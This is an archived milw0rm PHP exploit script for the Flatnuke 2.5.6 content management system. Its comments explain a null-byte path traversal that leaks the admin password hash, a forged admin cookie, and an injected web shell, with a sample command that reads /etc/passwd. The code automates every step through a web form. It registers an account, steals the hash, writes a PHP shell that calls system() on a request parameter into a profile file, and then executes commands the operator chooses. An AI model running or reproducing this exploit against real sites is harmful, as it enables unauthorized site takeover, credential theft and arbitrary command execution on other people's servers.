# Flatnuke 2.5.6 Privilege Escalation / Remote Commands Execution Exploit

<?php
# ---flatnuke_256_xpl.php                                      4.32 10/12/2005
#
# Flatnuke 2.5.6 privilege escalation / remote commands execution exploit
# (works with magic_quotes_gpc off, try this with 2.5.5:
# http://www.milw0rm.com/id.php?id=1140)
#
# coded by rgod at http://rgod.altervista.org
# mail: retrogod at aliceposta it
# original advisory: http://rgod.altervista.org/flatnuke256_xpl.html
#
# software:
# site: http://flatnuke.sourceforge.net
# description: a PHP Content Management System
#
# Explaination: if magic_quotes_gpc is off you can have any admin/user MD5
# password hash, poc:
# http://[target]/[path]/?mod=read&id=../forum/users/[adminname].php%00
# now you can build an admin cookie:
#
# Cookie: myforum:[adminname]; secid:[md5([adminame].[MD5hash])]
#
# as admin, you can edit any php file on target system and insert a shell,
# example:
#
# POST /flatnuke/verify.php HTTP/1.1
# Content-Type: application/x-www-form-urlencoded
# Host: [target_host]
# Content-Length: [data_length]
# Cookie: [admin_cookie]
# Connection: Close
#
# mod=modcont&from=index.php&body=[SHELL]&file=forum%2fusers%2f[username].php
#
# now you launch commands:
#
# http://[target]/[path]/forum/users/[username].php?cmd=cat%20/etc/passwd
#
# Vendor has notified on August 2005 about credentials disclosure,
# no patch has been released

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>*** Flatnuke 2.5.6 remote commands execution exploit ***
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
*** Flatnuke 2.5.6 remote commands execution exploit *** </p><p class="Stile6">a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1" method="post"  action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text"  name="host"> <span class="Stile5">* hostname  (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/flatnuke/ or just / )  </span></p><p><input type="text" name="command">   <span
class="Stile5"> * specify a command    </span>   </p>   <p>   <input type="text"
name="port"> <span    class="Stile5">specify  a  port   other than  80 ( default
value )</span> </p> <p> <input  type="text"   name="proxy"><span class="Stile5">
send exploit through an HTTP proxy (ip:port)  </span></p><p><input type="submit"
name="Submit" value="go!"></p></form> </td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                    }
	                       else
		                    {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
      {$ock=fsockopen(gethostbyname($host),$port);
       if (!$ock) { echo 'No response from '.htmlentities($host);
			die; }
      }
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$command=$_POST[command];
$proxy=$_POST[proxy];
if (($host<>'') and ($path<>'') and ($command<>''))
{
    $port=intval(trim($port));
    if ($port=='') {$port=80;}
    if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
    if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
    $host=str_replace("\r\n","",$host);
    $path=str_replace("\r\n","",$path);

    srand(make_seed());
    $v = rand(1,9999);
    $username="SUNTZU".$v;
    echo '<br>Your username: '.htmlentities($username);

    #STEP 1 -> Register...
    $data="op=reg&nome=".$username;
    $data.="&regpass=jimihendrix";
    $data.="&reregpass=jimihendrix";
    $data.="&anag=jimihendrix";
    $data.="&email=fake@fakemail.fke";
    $data.="&homep=".urlencode('http://www.asite.com');
    $data.="&prof=PUNK";
    $data.="&prov=whereimfrom";
    $data.="&ava=clanbomber.png";
    $data.="&url_avatar=";
    $data.="&firma=";
    $packet="POST ".$path."forum/index.php HTTP/1.1\r\n";
    $packet.="Accept-Encoding: text/plain\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    show($packet);
    sendpacketii($packet);

    #STEP 2 -> Login... (you cannot see memberlist if you are not registered...)
    $data="op=login&nome=".$username."&logpassword=jimihendrix";
    $packet="POST ".$path."forum/index.php HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    show($packet);
    sendpacketii($packet);
    $temp=explode("Set-Cookie: ",$html);
    $temp2=explode(' ',$temp[1]);
    $cookie=$temp2[0];
    $temp2=explode(' ',$temp[2]);
    $cookie.=" ".$temp2[0];
    echo '<br>Your cookie: '.htmlentities($cookie);

    #STEP 3 -> Retrieve admin name from memberlist
    for ($i=1; $i<=100; $i++)
    {
        $packet="GET ".$path."forum/index.php?op=members&page=".$i." HTTP/1.1\r\n";
        $packet.="Host: ".$host."\r\n";
        $packet.="Cookie: ".$cookie."\r\n";
        $packet.="Connection: Close\r\n\r\n";
        show($packet);
        sendpacketii($packet);
        if (eregi('class=normal>10',$html)) { break; }
    }
    $temp=explode("class=normal>10",$html);
    $temp2=explode("user=",$temp[0]);
    $temp=explode(">",$temp2[count($temp2)-1]);
    $ADMIN=$temp[0];
    echo '<br>Admin: '.htmlentities($ADMIN);

    #STEP 4 -> Retrieve admin MD5 password hash...
    $packet="GET ".$path."?mod=read&id=../forum/users/".$ADMIN.".php%00 HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    show($packet);
    sendpacketii($packet);
    if (!eregi("<?",$html)) {die("Exploit failed... it seems we have magic_quotes_gpc on here...");}
    $temp=explode("<?".chr(0x0a)."#",$html);
    $temp2=explode(chr(0x0a),$temp[1]);
    $HASH=$temp2[0];
    echo '<br>Admin md5 password hash: '.htmlentities($HASH);
    # Now build new admin cookie...
    $SECID=md5($ADMIN.$HASH);
    $COOKIE="myforum=".$ADMIN."; secid=".$SECID.";";
    echo '<br>Now you have admin cookie: '.htmlentities($COOKIE);

    #STEP 5 -> Edit some file... example: my profile ;)
    $COMPTEMPT="<?\n#".md5("jimihendrix")."\n#jimihendrix\n#fake@fakemail.fke\n#http://www.asite.com\n";
    $COMPTEMPT.="#PUNK\n#whereimfrom\n#clanbomber.png\n#\n#10\n?>\n"; //assign level 10 to new user
    //edit this, if system() is disabled you may try passtrhu(),exec() or backticks...
    //we also see phpinfo()
    $SHELL.=$COMPTEMPT."<?php echo \"Hi Master\";error_reporting(0);ini_set(\"max_execution_time\",0); phpinfo(); system(\$HTTP_GET_VARS[cmd]);?>";
    $SHELL=urlencode($SHELL);
    $data="mod=modcont&from=index.php&body=".$SHELL."&file=forum%2fusers%2f".$username.".php";
    $packet="POST ".$path."verify.php HTTP/1.1\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: ".$COOKIE."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    show($packet);
    sendpacketii($packet);

    #STEP 6 -> Launch commands...
    $packet="GET ".$path."forum/users/".$username.".php?cmd=".urlencode($command)." HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    show($packet);
    sendpacketii($packet);
    if (eregi("Hi Master",$html)) {echo "Exploit succeeded...Also you can login as admin with<br>";
                                   echo "username: ".$username."<br>";
                                   echo "password: jimihendrix<br>";
                                  }
                            else  {echo "Exploit failed...";}
}
else {echo "Fill * required fields, optionally specify a proxy..."; }

?>

# milw0rm.com [2005-12-10]
